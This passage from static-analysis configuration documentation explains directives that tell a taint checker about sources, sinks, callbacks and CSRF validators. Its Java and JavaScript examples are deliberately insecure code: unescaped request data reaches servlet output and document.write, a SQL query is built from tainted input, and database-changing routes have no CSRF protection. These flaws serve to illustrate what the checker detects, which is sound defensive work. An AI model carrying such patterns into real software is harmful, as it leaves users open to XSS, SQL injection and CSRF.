Though the language is based on JSON, it also uses the following extensions, all of which retain the property that the file format is a subset of JavaScript. If you intend to use more standard JSON-processing tools, you might want to avoid using these extensions.
Comments are allowed, both starting with // and extending to
the end of the line, and starting with /* and ending with
*/.
Field names are not required to be quoted when they match the following regular expression (regex):
^[a-zA-Z_][a-zA-Z0-9_]*$
All field names in this file format conform to that regex, so none of them must be quoted in the JSON syntax. (However, quoting them is permissible based on standard JSON.)
String literals can be extended across multiple lines (without introducing
newlines into the string contents) by joining quoted string literal
fragments with the + token, optionally surrounded by whitespace
(including newlines). A string value can be composed of any number of
concatenated fragments. This syntax follows that of JavaScript string
concatenation.
Objects and arrays may have a final , (comma).
Regular expressions
Regular expressions (regex) are used in Perl syntax
. In JSON, it is represented as a string. It can match a
substring of the target string unless anchors are explicitly used. Because the
backslash is a metacharacter in both JSON and Perl regex, matching a literal
backslash in a regular expression requires four backslash characters in the
JSON.
This section describes the schema of the Web Application Security file, starting with the top-level JSON value.
The top-level value is a JSON Object with the following fields:
type: Must be the string "Coverity analysis
configuration".
format_version: A number indicating the version of the
directives format for this file. Different versions support different
directives for different languages. The type and
format_version fields ensure that the provided file is
compatible with the current version of
cov-analyze.
![]() | Recommendation |
|---|---|
If you analyze code from several languages in the same intermediate
directory, you should use version 4 or later because the
|
Table E.1. Supported format_version field values in release 2018.09
| Valid value | Changes in this version |
|---|---|
11 |
|
8 |
|
6 |
|
5 |
|
4 | Requires top-level language field and adds
C# support for many former Java-only directives. |
3 | Introduces support for Java directives:
|
2 or greater | Introduces support for a Java directive: |
1 or greater | Support for all other directives (pre-version 2 directives)[a] |
language: Mandatory field starting in version 4. Directives
in this file apply only to source code in the specified language or language
family. The following table describes valid values for the
language field values in release 2018.09 (matches are
case insensitive).
Table E.2. language values
| Value | Meaning |
|---|---|
C-like | Directives apply to C, C++, Objective-C, and Objective-C++ code. |
C# | Directives apply to C# code. Note that unsafe C# code blocks and raw pointer types are not supported. |
Java | Directives apply to Java code. |
JavaScript | Directives apply to all JavaScript code, including client-side JavaScript, JavaScript in HTML, and Node.js code. |
.NET | Directives apply to all C# and Visual Basic code. This is only usable at the top level. |
Visual Basic | Directives apply to all Visual Basic code. |
In format_version 4 and earlier, there is no
language field. In those versions, the
"dc_checker_name" and
"method_set_for_dc_checker" directives for DC.CUSTOM_CHECKER
apply to the C-like, Java, and C#
languages. Other directives apply only to Java.
![]() | Requirement |
|---|---|
You can specify a maximum of one |
directives: An array of UserDirective values
(see Section E.1.4.2, “UserDirective values”).
The directives array contains values representing the set of user
configuration directives
{
"type" : "Coverity analysis configuration",
"format_version" : 11,
"language" : "Java",
"directives" : [
// directives appropriate for Java go here
]
}A JSON Object describing a user configuration directive.
If an Intent object contains a category that the analysis deems
safe, the analysis will also assume that the Intent object comes
from a trusted source. If each intent-filter of an Android
application component either contains a safe category or contains
only protected
Intent actions, the analysis considers that the
component can only receive Intent objects from trusted
sources.
By default, the analysis considers the following categories to be safe:
android.intent.category.HOME
android.intent.category.LAUNCHER
This directive can be used to extend the list of categories that the analysis considers to be safe.
If multiple android_safe_categories directives are specified, the
analysis considers the union of all the categories specified in all the
android_safe_categories directives.
This JSON Object has the following field:
android_safe_categories takes a JSON array of strings. Each
string is the name of a safe category.
See also the android_protected_intent_actions directive.
The Android analysis considers some Intent actions to be
protected because Intent objects that contain such an
Intent action can only come from a trusted source (for example,
from the Android system). If each intent-filter of an Android
application component either contains a safe category or contains only protected
Intent actions, the analysis assumes that the component can
only receive Intent objects from trusted sources.
Examples of Intent actions that the analysis considers to be
protected:
android.intent.action.AIRPLANE_MODE
android.intent.action.BATTERY_CHANGED
android.intent.action.BATTERY_LOW
If multiple android_protected_intent_actions directives are
specified, the analysis considers the union of all the Intent
actions specified in all the android_protected_intent_actions
directives.
This JSON Object has the following field:
android_protected_intent_actions takes a JSON array of strings. Each
string is the name of a protected Intent action.
See also the android_safe_categories directive.
This directive identifies callback functions such as event handlers, Web
application entry points, or other callbacks that some framework or runtime
system calls asynchronously. It also provides details about the arguments with
which the function is called. This directive is similar to the local_callback directive, but
it is for callbacks that are called asynchronously instead of
immediately.
This directive is a JSON Object with the following fields:
"async_method" takes a WritableProgramData that identifies the
callback function that is called later.
"handler_kind" takes a JSON string describing the
sort of callback it is. It has one of the following values:
"event_listener" - The callback may be called
many times as part of an event loop.
"async_method" - The callback is called once, for
example, after some asynchronous operation completes.
"webapp_entry_point" - The callback may be called
many times in response to requests from some client.
"input_tags" is an optional field that takes a non-empty
JSON array of InputTag
values that indicate that particular parameters to the callback have
particular tags.
"input_taints" is an optional field that takes a
non-empty JSON array of InputTaint values that indicate that
particular parameters to the callback are tainted.
"input_values" is an optional field that takes a
non-empty JSON array of InputValue values. If it is present,
async_method must be a to_callsite
WritableProgramData. The
InputValue elements describe how arguments at the
callsite that registers the callback (that is, the callsite specified in
the to_callsite sub-element of async_method)
flow to parameters of the callback.
JavaScript example 1:
The following directive indicates that any function assigned to the
onkeydown property of any object is an event listener (and thus
potentially invoked many times in the event loop). For example, the anonymous
function in element.onkeydown = function () { flag = true; } would
be registered as an event handler.
{
"async_method": {
"write_off_any": [ { "property": "onkeydown" } ]
},
"handler_kind" : "event_listener"
}JavaScript example 2:
The following is a simplified version of an webapp_entry_point
async_method directive for Express.js.
Directive:
{
"tag" : "ExpressApp",
"data_has_tag" : {
"from_callsite" : {
"call_on" : {
"read_from_js_require" : "express"
}
},
"output" : "return"
}
},
{
"async_method" : {
"to_callsite" : {
"call_on" : {
"read_from_object_with_tag" : "ExpressApp",
"path" : [ { "property" : "post" } ]
}
},
"input" : "arg2"
},
"input_tags" : [
{
"input" : "arg1",
"tag" : "ExpressRequest"
},
{
"input" : "arg2",
"tag" : "ExpressResponse"
}
],
"handler_kind" : "webapp_entry_point"
}The first directive says that app in the code below has the tag
"ExpressApp". The "async_method" directive uses
this tag to recognize the anonymous function in the code below as a Web
application entry point and to tag its parameters with
"ExpressRequest" (for req) and
"ExpressResponse" (for res). Other directives
might build on these tags to define sources or sinks.
var app = require("express")();
app.post("/path1", function (req, res) {
// ...
}JavaScript example 3: Directive
{
"async_method" : {
"to_callsite" : {
"call_on" : {
"read_path_off_global" : [ { "property" : "dbQuery" } ]
}
},
"input" : "arg3"
},
"handler_kind" : "async_method",
"input_taints" : [ {
"input" : "arg2",
"taint_kind" : "database",
"is_deep_taint" : true
} ]
}This directive indicates that the global function dbQuery
registers its third argument as a callback and that the second parameter of that
callback is deeply tainted with database taint. For example, in the code below,
the anonymous function is the callback, and data is deep tainted
with database data. that is, data.firstName,
data.address.city, and so on are tainted with database
data.
dbQuery(connectionString, "SELECT * FROM user", function (result, data) {
// ... data.firstName ... data.address.city
});This directive indicates classes with print,
println, and write methods that function like
PrintWriter methods of the same name, and that should always be
treated as if they were writing to a servlet output stream. The XSS checker
reports a defect on tainted data that flows to a servlet output stream without
proper escaping.
This JSON Object has the following field:
class_like_print_writer_for_servlet_output takes a ClassSet value.
Configuration example:
//"class_like_print_writer_for_servlet_output" directive example
{
"class_like_print_writer_for_servlet_output" :
{ "named" : "examples.LikeServletPrintWriter" }
},Java code example:
//"class_like_print_writer_for_servlet_output" directive example
package examples;
interface LikeServletPrintWriter
{
public void print(String s);
public void println(String x);
public void write(String s);
}
class Test_class_like_print_writer_for_servlet_output extends HttpServlet
{
LikeServletPrintWriter writer;
Locale l;
public void doGet(HttpServletRequest request, HttpServletResponse resp)
throws IOException
{
// XSS reported on 'print' 'println' and 'write' due to the directive
// treating these calls like writing to servlet output.
writer.print(request.getParameter("taint"));
writer.println(request.getParameter("taint"));
writer.write(request.getParameter("taint"));
}
}Use this directive to tell the CSRF checker which function calls require CSRF
protection. The CSRF checker will report a defect on any web application entry
point that calls such functions without CSRF protection. See
CSRF
for details on the CSRF checker.
This JSON Object has the following fields:
csrf_check_needed takes a CallsiteSet
that identifies callsites to which this directive applies.
update_type takes a string value that specifies the
type of update made to the server. Valid values include "database"
and "filesystem".
JavaScript example:
{
csrf_check_needed" : {
"call_on" : {
"read_path_off_global" : [ { "property" : "deleteDatabase" } ]
}
},
"update_type" : "database"
}The csrf_check_needed directive above matches the
deleteDatabase() callsite in this Node.js JavaScript code. This
will result in a CSRF defect being reported at the web application entry point
app.get("/", function) which calls
deleteDatabase().
var express = require("express");
var app = express();
app.get("/", function(req, res) {
deleteDatabase();
});
app.listen(3000, function() {
console.log("Listening");
});See also,
CSRF
and "csrf_validator
directive"
Use this directive to tell the CSRF checker which function calls protect web
application entry points from CSRF attacks, for example by comparing a CSRF
token in a user's session with the one submitted in the request. The CSRF
checker does not report defects on a web application entry point that calls one
of these functions. See
CSRF
for details on the CSRF checker.
This JSON Object has the following field:
csrf_validator takes a CallsiteSet that
identifies callsites to which this directive applies.
JavaScript example:
{
"csrf_validator" : {
"call_on" : {
"read_path_off_global" : [ { "property" : "myCsrfValidator" } ]
}
}
}The csrf_validator directive above matches the
myCsrfValidator() callsite in this Node.js JavaScript code.
Normally, a CSRF defect would be reported at both web application entry points
app.get("/a", function) and app.get("/b",
function) because they both call
db.createCollection("my_collection") which updates the
database. However, since app.get("/b", function) calls
myCsrfValidator(), there is no CSRF defect reported for this
web application entry point.
var MongoClient = require("mongodb").MongoClient;
var express = require("express");
var app = express();
var url = "mongodb://localhost:27017/myDatabase";
app.get("/a", function(req, res) {
MongoClient.connect(url, function(err, db) {
console.log("Creating new database collection");
db.createCollection("my_collection");
res.send("Visiting /a");
});
});
app.get("/b", function(req, res) {
MongoClient.connect(url, function(err, db) {
console.log("Creating new database collection");
myCsrfValidator();
db.createCollection("my_collection");
res.send("Visiting /b");
});
});
app.listen(3000, function() {
console.log("Listening");
});See also,
CSRF
and "csrf_check_needed directive".
The dataflow checker directive is a JSON object with the following fields:
"dataflow_checker_name" takes a JSON string that starts with
"DF." and consists of capital letters. For example, DF.MY_CHECKER, but not
DF.My_Checker.
"taint_kinds" takes a TaintKindGroup value that defines the kinds of taint that the
checker tracks (subject to the global trust options; see TaintKind for details.
"sink_message" takes a JSON string to print as the event message
where the tainted data flows into the sink. For defects in JavaScript code, this
string appears in an event after several other events that describe the sink and
the tainted data that flowed into it. For Java and C# checkers, you may use the
following two placeholder values in this string to describe what tainted data
flowed into what sink:
{0} = This will be replaced with the name of the tainted
expression that reached the sink.
{1} = This will be replaced with the name of the sink.
"remediation_advice" takes a JSON string to print as remediation
advice in each defect report.
"new_issue_type" is an optional field that takes a IssueTypeDefinition value
that describes the sort of issues that this checker reports. This field replaces
the deprecated "checker_properties" field. The fields of this IssueTypeDefinition object
are all optional in this context. Missing fields default to the following
values. If both the "new_issue_type" and
"checker_properties" fields are missing, the default values
below all apply.
type: "USER." then the name of your checker
name: "Tainted data reached a sink."
description: "User-controllable data reached a
sink."
local_effect: "Custom Dataflow Checker"
impact: "Medium"
category: "Medium impact security"
quality_kind: false
security_kind: true
"checker_properties" is an optional, deprecated field that has
been replaced with the "new_issue_type" field. See below for
migration instructions. Future versions of the directives language will no
longer support it. It takes a JSON array containing a single JSON object that
specifies checker properties that show up in Coverity Connect with reports from this checker;
users can sort, filter, or group defects based on these properties. It has the
following fields:
"short_description" -- see the documentation for the
"name" field of IssueTypeDefinition
"long_description" -- see the documentation of the
"description" field of IssueTypeDefinition
"local_effect", "impact",
"category", "cwe" -- see the documentation
of the correspondingly named fields of IssueTypeDefinition
To migrate a "checker_properties" field to a
"new_issue_type" field, proceed as follows:
Ensure that your directives file has a format_version of
at least 8.
Change the name of the field from "checker_properties" to
"new_issue_type".
Remove the square brackets around the value (because
"new_issue_type" is a JSON object, not a JSON array
containing a single object).
Change the "short_description" field to
"name" and the "long_description" field to
"description". Leave other fields unchanged.
Optionally, add a "type" field.
This directive tells the analysis how data flows from arguments to return values or to other function outputs for calls to a particular function.
This directive is a JSON Object with the following fields:
"dataflow_through_callsite" takes a CallsiteSet that indicates
the function call sites to which this directive applies.
"from" takes a non-empty JSON array of InputAndAccessPathSpecifier values that
indicate the inputs to the function that flow to the outputs specified
in "to".
"to" takes a non-empty JSON array of OutputAndAccessPathSpecifier values that
indicates the outputs of the function to which the inputs specified in
"from" flow.
An InputAndAccessPathSpecifier is a JSON Object with the following
fields:
"input" takes a ParamIn value. This specifies a base
value that is input to the callsite. Without a "path",
this is the input value.
"path" is an optional field that takes a non-empty
array of AccessPathElement values. When present,
the input value is found on this access path from the base value.
An OutputAndAccessPathSpecifier is a JSON Object with the following
fields:
"output" takes a ParamOut value. This specifies a base
value that is output from the callsite. Without a
"path", this is the output value.
"path" is an optional field that takes a non-empty
array of AccessPathElement values. When present,
the output value is found on this access path from the base
value.
In an OutputAndAccessPathSpecifier values, if the
"path" field is not specified, then "return"
is the only allowed ParamOut
value for the "output" field.
Directive for JavaScript example:
{
dataflow_through_callsite: {
"call_on" : {
"read_off_any" : [ {"property" : "returnsArgDotX"} ]
},
},
from: [ {input: "arg1", path: [ {property: "x"} ] } ],
to: [ { output: "return" } ]
}The directive above indicates that a call to returnsArgDotX
returns the x property of its argument. The following
client-side JavaScript code shows how this directive can result in a DOM_XSS defect report. The
directive indicates that the call to returnsArgDotX(o) returns
o.x. Since o.x contains tainted data and the
return value of the function flows into the argument of
document.write (a DOM_XSS sink), the analysis reports a
DOM_XSS defect.
var o = { x: location.hash, y: "safe" };
document.write(returnsArgDotX(o)); // DOM_XSSThis directive assigns an arbitrary string-valued "tag" to a
specified piece of data, for example, to the return value of a specific function
or to a specific global variable. Other structures, such as read_from_object_with_tag and write_to_object_with_tag, can refer to this piece of
data using this "tag" value. Tagging this data has no other effect
on the analysis; it simply enables the use of these other structures.
This directive is a JSON Object with the following fields:
"data_has_tag" takes a ReadableProgramData that specifies the data to
which to apply the tag.
"tag" takes a JSON string that specifies the tag.
See write_to_object_with_tag for an example.
This directive defines a map that can be shared across many MethodCallSpecifier
objects in other directives. In particular, the
lookup_method_call_by_constant_param (see define_lookup_method_call_map) variant of
MethodCallSpecifier can refer to this map by name.
This JSON Object has the following fields:
define_lookup_method_call_map takes a JSON string value.
map takes a JSON
object.
This directive defines a map with the name indicated by the
define_lookup_method_call_map field.
The map JSON Object is a set of fields representing the
map:
The name of each field is interpreted as a JSON string representing a lexical expression, which is to be mapped to the field's value.
The field's value must be a method_call MethodCallSpecifier value or a
JSON null
literal.
Valid lexical expression strings are described in the lookup_by_constant_param
MethodCallSpecifier value section.
Configuration example:
See Configuration example 3 for method_with_servlet_sinks_on_input and Configuration example 4 for method_with_servlet_sinks_on_input.
Java code example:
See Java code example 3 for method_with_servlet_sinks_on_input and Java code example 4 for method_with_servlet_sinks_on_input.
This directive applies to callsites that match the MethodSet value.
The dataflow analysis will ignore paths from the callsite arguments to parameters of the called method. The analysis will also ignore any changes the method call appears to make to modifiable arguments.. Effectively, the dataflow analysis will act as if the callsite did not exist for the arguments, but is still capable of reporting paths within the called method.
This JSON Object has the following field:
ignore_all_argument_dataflow_to_method takes a MethodSet value.
Configuration example:
//"ignore_all_argument_dataflow_to_method" directive example
{
"ignore_all_argument_dataflow_to_method" :
{ "named" :
"examples.Test_ignore_all_argument_dataflow_to_method.appendAndPrintString(
java.lang.StringBuffer, java.lang.String,
javax.servlet.http.HttpServletResponse)void"
}
},Java code example:
//"ignore_all_argument_dataflow_to_method" directive example
package examples;
class Test_ignore_all_argument_dataflow_to_method extends HttpServlet
{
public void appendAndPrintString(StringBuffer sb,
String str,
HttpServletResponse resp)
{
sb.append(str);
PrintWriter pw = resp.getWriter();
//no XSS because the directive suppresses taint flow from callers into 'str'
pw.println(str);
}
public void doGet(HttpServletRequest request, HttpServletResponse resp)
throws IOException
{
PrintWriter pw = resp.getWriter();
String taint = request.getParameter("taint");
StringBuffer sb = new StringBuffer();
appendAndPrintString(sb, taint, resp);
//no XSS due to the directive
pw.println(sb.toString());
}
}This directive indicates methods where the analysis should ignore all dataflow
paths within the method. Dataflow paths added by the method_returns_param
directive are not ignored.
This JSON Object has the following field:
ignore_method_dataflow takes a MethodSet value.
Configuration example 1:
//"ignore_method_dataflow" directive example 1
{
"ignore_method_dataflow" :
{ "named" :
"examples.Test_ignore_method_dataflow1.getTaint(javax.servlet.http.HttpServletRequest,
javax.servlet.http.HttpServletResponse)java.lang.String"
}
},Java code example 1:
//"ignore_method_dataflow" directive example 1
package examples;
class Test_ignore_method_dataflow1 extends HttpServlet
{
boolean beSafe;
// The directive suppresses all dataflow through this function.
public String getTaint(HttpServletRequest request, HttpServletResponse resp)
{
if (beSafe) return "";
PrintWriter pw = resp.getWriter();
String taint = request.getParameter("taint");
pw.println(taint); //no XSS due to directive
return taint; // the directive squelches this tainted dataflow
}
public void doGet(HttpServletRequest request, HttpServletResponse resp)
throws IOException
{
PrintWriter pw = resp.getWriter();
String x = getTaint(request, resp); // untainted because of the directive
pw.println(x); //no XSS due to directive
}
}Configuration example 2:
//"ignore_method_dataflow" directive example 2
{
"ignore_method_dataflow" :
{ "named" :
"examples.Test_ignore_method_dataflow2.manyPaths(java.lang.String,
java.lang.StringBuffer)java.lang.String"
}
},Java code example 2:
//"ignore_method_dataflow" directive example 2
package examples;
class Test_ignore_method_dataflow2 extends HttpServlet
{
String field1;
String field2;
public void setField2(String str) {
field2 = str;
}
// This method demonstrates several kinds of dataflow paths that the directive
// suppresses.
public String manyPaths(String str, StringBuffer sb) {
field1 = str;
setField2(str);
sb.append(str);
return str;
}
public void doGet(HttpServletRequest request, HttpServletResponse resp)
throws IOException
{
PrintWriter pw = resp.getWriter();
String taint = request.getParameter("taint");
StringBuffer sb = new StringBuffer();
// the directive suppresses all dataflow through manyPaths
String ret = manyPaths(taint, sb);
pw.println(ret); //no XSS due to directive
pw.println(sb); //no XSS due to directive
pw.println(field1); //no XSS due to directive
pw.println(field2); //no XSS due to directive
}
}This directive indicates methods where the analysis should ignore dataflow
paths passing out of the method through the return value or a particular
modified parameter, as specified by the output field.
Note that this directive is rarely needed, but can be useful in cases where the analysis infers incorrect data flow through a method. This directive does not suppress defect reports within the methods it indicates, only those that rely on flow through the indicated method outputs.
This JSON Object has the following fields:
Configuration example:
//"ignore_method_output" directive example
{
"ignore_method_output" :
{ "named" :
"examples.Test_ignore_method_output.getTaint(javax.servlet.http.HttpServletRequest,
javax.servlet.http.HttpServletResponse)java.lang.String"
},
"output" : "return"
},Java code example:
//"ignore_method_output" directive example
package examples;
class Test_ignore_method_output extends HttpServlet
{
boolean beSafe;
// The directive suppresses dataflow through the return value of this method.
public String getTaint(HttpServletRequest request, HttpServletResponse resp)
{
PrintWriter pw = resp.getWriter();
String taint = request.getParameter("taint");
pw.println(taint); //XSS reported here unaffected by the directive
if (beSafe) return "";
return taint; // the directive squelches this tainted dataflow
}
public void doGet(HttpServletRequest request, HttpServletResponse resp)
throws IOException
{
PrintWriter pw = resp.getWriter();
String x = getTaint(request, resp); // untainted because of the directive
pw.println(x); //no XSS due to directive
}
}This directive identifies a callback function that is called immediately
(usually by some API) and provides details about the arguments with which the
function is called. This directive is similar to the async_method directive, but it
deals with callbacks that are called immediately, as opposed to
asynchronously.
This directive is a JSON Object with the following fields:
"local_callback" takes a to_callsite
WritableProgramData that identifies the
callback function that is called immediately.
"input_tags" is an optional field that takes a non-empty
JSON array of InputTag
values that indicate that particular parameters to the callback have
particular tags.
"input_taints" is an optional field that takes a
non-empty JSON array of InputTaint values that indicate that
particular parameters to the callback are tainted.
"input_values" is an optional field that takes a
non-empty JSON array of InputValue values that describe how
arguments at the callsite that registers the callback (that is, the
callsite specified by local_callback) flow to parameters of
the callback.
JavaScript Example:
The following directive indicates that passing a function as the first
argument of doCallWithArg invokes it immediately and passes the
second argument of doCallWithArg to its first argument.
{
"local_callback" : {
"to_callsite" : {
"call_on" : {
"read_path_off_global" : [{ "property" : "doCallWithArg" }],
}
},
"input" : "arg1",
},
"input_values" : [
{
"value" : "arg2",
"input" : "arg1"
}
]
}For example, because of the directive, the analysis sees the call to
doCallWithArg(callback, x) as making the following function
call: callback(x).
function callback(arg) {
// arg === x
}
doCallWithArg(callback, x);This directive indicates that a function call acts like a property read where one of its arguments is the object whose property is read and another is the name of the property. The return value of the function is the result of the property read.
This directive has the following fields:
"map_read" takes a CallsiteSet that identifies function
callsites to which this directive applies.
"map" takes a ParamIn that indicates which argument is
the object whose property is being read.
"key" takes a ParamIn that indicates which argument is
the name of the property that is read from map.
This directive only applies if the argument indicated by key is a
string literal.
JavaScript example:
The following directive indicates that localStorage.getItem(obj,
"prop") reads property "prop" from
localStorage, just as localStorage.prop
would.
{
"map_read" : {
"call_on" : {
"read_path_off_global" : [
{ "property" : "localStorage" },
{ "property" : "getItem" }
]
}
},
"map" : "this",
"key" : "arg1"
}This directive indicates that a function call acts like a property write where one of its arguments is the object whose property is written, another is the name of the property, and a third is the value to write to that property.
This directive has the following fields.
"map_read" takes a CallsiteSet that identifies function
callsites to which this directive applies.
"map" takes a ParamIn that indicates which argument is
the object whose property is being written.
"key" takes a ParamIn that indicates which argument is
the property of map that is being overwritten.
"value" takes a ParamIn that indicates which argument is
the value being written.
This directive only applies if the argument indicated by key is
a string literal.
The following directive indicates that localStorage.setItem(obj, "prop",
value) writes value to property "prop" of
localStorage just as localStorage.prop = value
would.
{
"map_write" : {
"call_on" : {
"read_path_off_global" : [
{ "property" : "localStorage" },
{ "property" : "setItem" }
]
}
},
"map" : "this",
"key" : "arg1",
"value" : "arg2"
},In a program where dataflow follows an unwanted conditional path (for example, because you are certain the path is impossible in a production environment), the unwanted path can be avoided by modelling a method evaluated in the conditional expression as returning a constant value.
This JSON Object has the following fields:
method_returns_constant takes a MethodSet value.
returns takes a ReturnConstant value.
The MethodSet field describes which methods to model, and the
ReturnConstant value describes the value that the method
returns.
Configuration example:
//"method_returns_constant" directive example
{
"method_returns_constant" :
{ "named" :
"examples.Test_method_returns_constant.check_for_error()boolean"
},
"returns" : { "bool" : false }
},Java code example:
//"method_returns_constant" directive example
package examples;
class Test_method_returns_constant extends HttpServlet
{
boolean hasError;
boolean check_for_error() { return hasError; }
public void doGet(HttpServletRequest request, HttpServletResponse resp)
throws IOException
{
PrintWriter pw = resp.getWriter();
String taint = request.getParameter("taint");
if (check_for_error()) {
pw.println(taint); //no XSS due to directive
}
}
}This directive indicates methods where the analysis should follow dataflow paths as if the method directly returned the specified parameter. This directive is useful when the analysis fails to infer dataflow from a method parameter to its return value.
This JSON Object has the following fields:
Configuration example:
//"method_returns_param" directive example
{
"method_returns_param" :
{ "named" :
"examples.Test_method_returns_param.example1(java.lang.String)java.lang.String"
},
"input" : "arg1"
},
{
"method_returns_param" :
{ "named" :
"examples.Test_method_returns_param.example2(java.lang.String,
java.lang.String)java.lang.String"
},
"input" : "arg2"
},
{
"ignore_method_dataflow" :
{ "named" :
"examples.Test_method_returns_param.example2(java.lang.String,
java.lang.String)java.lang.String"
}
},Java code example:
//"method_returns_param" directive example
package examples;
class Test_method_returns_param extends HttpServlet
{
HttpServletResponse resp;
// The directive adds a dataflow path where this method returns 'str'.
public String example1(String str) {
PrintWriter pw = resp.getWriter();
pw.println(str); //XSS reported here is unaffected by the directive
return "";
}
// The "ignore_method_dataflow" directive ignores the original dataflow and
// the "method_returns_param" directive adds back a dataflow edge where the
// method returns 'str2'. Together these directives replace the inferred
// dataflow with something entirely new.
public String example2(String str1, String str2) {
PrintWriter pw = resp.getWriter();
pw.println(str1); // no XSS due to ignore_method_dataflow
return str1; // ignore_method_dataflow squelches this dataflow path
}
public void doGet(HttpServletRequest request, HttpServletResponse resp)
throws IOException
{
PrintWriter pw = resp.getWriter();
String taint = request.getParameter("taint");
// XSS: method returns 'taint' due to 'method_returns_param' directive
pw.println( example1(taint) );
// no XSS: first argument no longer returned due to 'ignore_method_dataflow'
pw.println( example2(taint, "") );
// XSS: second argument returned due to 'method_returns_param' directive
pw.println( example2("", taint) );
}
}This directive indicates that a method returns a stream that writes data to the HTTP output. The XSS checker reports a defect if tainted data is written to the stream without proper escaping.
In Java, the returned object type should extend the
java.io.OutputStream or java.io.Writer classes. In
C#, the returned object type should extend the System.IO.Stream or
System.IO.TextWriter classes.
This JSON Object has the following field:
method_returns_servlet_output_stream takes a MethodSet value.
Configuration example:
//"method_returns_servlet_output_stream" directive example
{
"method_returns_servlet_output_stream" :
{ "named" :
"examples.Test_method_returns_servlet_output_stream.getServletWriter()
java.io.PrintWriter"
}
},Java code example:
//"method_returns_servlet_output_stream" directive example
package examples;
class Test_method_returns_servlet_output_stream extends HttpServlet
{
PrintWriter pwField;
PrintWriter getServletWriter() { return pwField; }
public void doGet(HttpServletRequest request, HttpServletResponse resp)
throws IOException
{
PrintWriter pw = getServletWriter();
String taint = request.getParameter("taint");
pw.println(taint); //XSS defect due to directive
}
}This directive identifies methods that return tainted data. The returned data should extend or implement a built-in taintable type, such as a string, byte array, input stream, or collection. It can not be used to indicate that members of a user-defined class instance are tainted. The current trust model and trust options control whether the type of taint should be distrusted.
This JSON Object has the following fields:
method_returns_tainted_data takes a MethodSet value. This field
specifies the methods to which the directive applies.
taint_kind takes "TaintKind" string value. This field
specifies the kind of taint that the method returns.
Configuration example:
// "method_returns_tainted_data" example
{
"method_returns_tainted_data" : {
"matching": "examples\\.Test_method_returns_tainted_data\\.returns_tainted_data\\(.*"
},
"taint_kind" : "http"
}Java code example:
package examples;
import java.sql.Statement;
import java.sql.Connection;
public class Test_method_returns_tainted_data {
Connection connection;
Statement statement;
String returns_tainted_data() {
return "foo";
}
void test_SQLI() throws Exception {
String val = returns_tainted_data();
// The method call to returns_tainted_data is considered to return
// tainted data of "http" type.
String sqlQuery1 = "select * from " + val;
// An SQLI defect is reported on the following line
statement = connection.prepareStatement(sqlQuery1);
}
}This directive indicates that a method's argument is written to the HTTP output. The XSS checker reports a defect if tainted data is written to the HTTP output without proper escaping.
This JSON Object has the following fields:
method_with_servlet_sinks_on_input takes a MethodSet value. This
directive applies to calls to methods matching this
MethodSet.
input_param_sinks takes a JSON array of JSON Objects.
Each object describes an argument that the method writes to the HTTP
output and how that argument is escaped.
JSON Objects in the input_param_sinks JSON array have the
following fields:
input takes a ParamIn value. This field names the argument
that this object describes.
escaper takes a MethodCallSpecifier value
or a JSON null literal. If this escaper field is the JSON null
literal, or evaluates to null, the input is written to the
HTTP output as-is and without any escaping. Otherwise, the field
indicates a method, a method input where input is passed
in, and method output which is written to the servlet output stream (see
MethodCallSpecifier for details).
servlet_context takes a HtmlOutputContext value. This field
indicates the HTML context (that is, the place in the HTML parse tree)
into which the argument flows. Different contexts imply different
escaping obligations to avoid XSS. See HtmlOutputContext
for details.
Configuration example 1:
//"method_with_servlet_sinks_on_input" directive example 1
// This example also demonstrates using the "html_prefix" HtmlOutputContext
// value to control the context.
{
"method_with_servlet_sinks_on_input" :
{ "named" :
"examples.Test_method_with_servlet_sinks_on_input1.pcdata_sink(java.lang.String)void"
},
"input_param_sinks" : [
{
"input" : "arg1",
"escaper" : null,
"servlet_context" : { "html_prefix" : "" }
}
]
},
{
"method_with_servlet_sinks_on_input" :
{ "named" :
"examples.Test_method_with_servlet_sinks_on_input1.single_quoted_attribute_value_sink(java.lang.String)void"
},
"input_param_sinks" : [
{
"input" : "arg1",
"escaper" : null,
"servlet_context" : { "html_prefix" : "<tag foo='" }
}
]
},Java code example 1:
//"method_with_servlet_sinks_on_input" directive example 1
// This example also demonstrates using the "html_prefix" HtmlOutputContext
// value to control the context.
package examples;
class Test_method_with_servlet_sinks_on_input1 extends HttpServlet
{
public void pcdata_sink(String val) {}
public void single_quoted_attribute_value_sink(String val) {}
public void doGet(HttpServletRequest request, HttpServletResponse resp)
throws IOException
{
PrintWriter pw = resp.getWriter();
String taint = request.getParameter("taint");
// The directive makes the analysis treat the argument to this function as
// being written to servlet output in the HTML PCDATA context, so we get an
// XSS defect here.
pcdata_sink(taint);
// The directive makes the analysis treat the argument to this function as
// being written to servlet output in the single-quoted HTML tag value
// context, so we get an XSS defect here.
single_quoted_attribute_value_sink(taint);
}
}Configuration example 2:
//"method_with_servlet_sinks_on_input" directive example 2
// This also demonstrates using the "html_attribute_value_where_name_is_from_param"
// HtmlOutputContext value to control the context.
{
"method_with_servlet_sinks_on_input" :
{ "named" :
"examples.Test_method_input_servlet_sinks2.sink(java.lang.String, java.lang.String)void"
},
"input_param_sinks" : [
{
"input" : "arg2",
"escaper" : null,
"servlet_context" : {
"html_attribute_value_where_name_is_from_param" : "arg1",
"value_quoting" : "single"
}
}
]
},Java code example 2:
//"method_with_servlet_sinks_on_input" directive example 2
// This example also demonstrates using the
// "html_attribute_value_where_name_is_from_param" HtmlOutputContext value to
// control the context.
package examples;
class Test_method_input_servlet_sinks2 extends HttpServlet
{
String unknownName;
public void sink(String name, String val) {}
public void doGet(HttpServletRequest request, HttpServletResponse resp)
throws IOException
{
PrintWriter pw = resp.getWriter();
String taint = request.getParameter("taint");
// The directive makes the analysis treat 'taint' a being written to the
// servlet output as the single-quoted value to a 'color' attribute, for
// example:
// "<font color='" + taint + ...
// Thus the directive causes an XSS report here.
sink("color", taint);
// Similar to the above, but here it's an "onclick" single-quoted JavaScript
// attribute value. Again the directive causes an XSS report here.
sink("onclick", taint);
// Here we have something other than a String literal for the attribute
// name, so the analysis treats it as the 'color' case above (including
// reporting an XSS defect) and logs a warning.
sink(unknownName, taint);
}
}//"method_with_servlet_sinks_on_input" directive example 3
// This example also demonstrates using a "lookup_by_constant_param"
// MethodCallSpecifier value to indicate that a boolean parameter controls an
// optional escaper.
{
"define_lookup_method_call_map" : "escape_if_bool_is_true",
"map" : {
"true" : {
"method_call" :
"Escapers.escape_html(java.lang.String)java.lang.String",
"input" : "arg1", "output" : "return"
},
"false" : null
}
},
{
"method_with_servlet_sinks_on_input" :
{ "named" :
"examples.Test_method_input_servlet_sinks3.sink(java.lang.String, boolean)void"
},
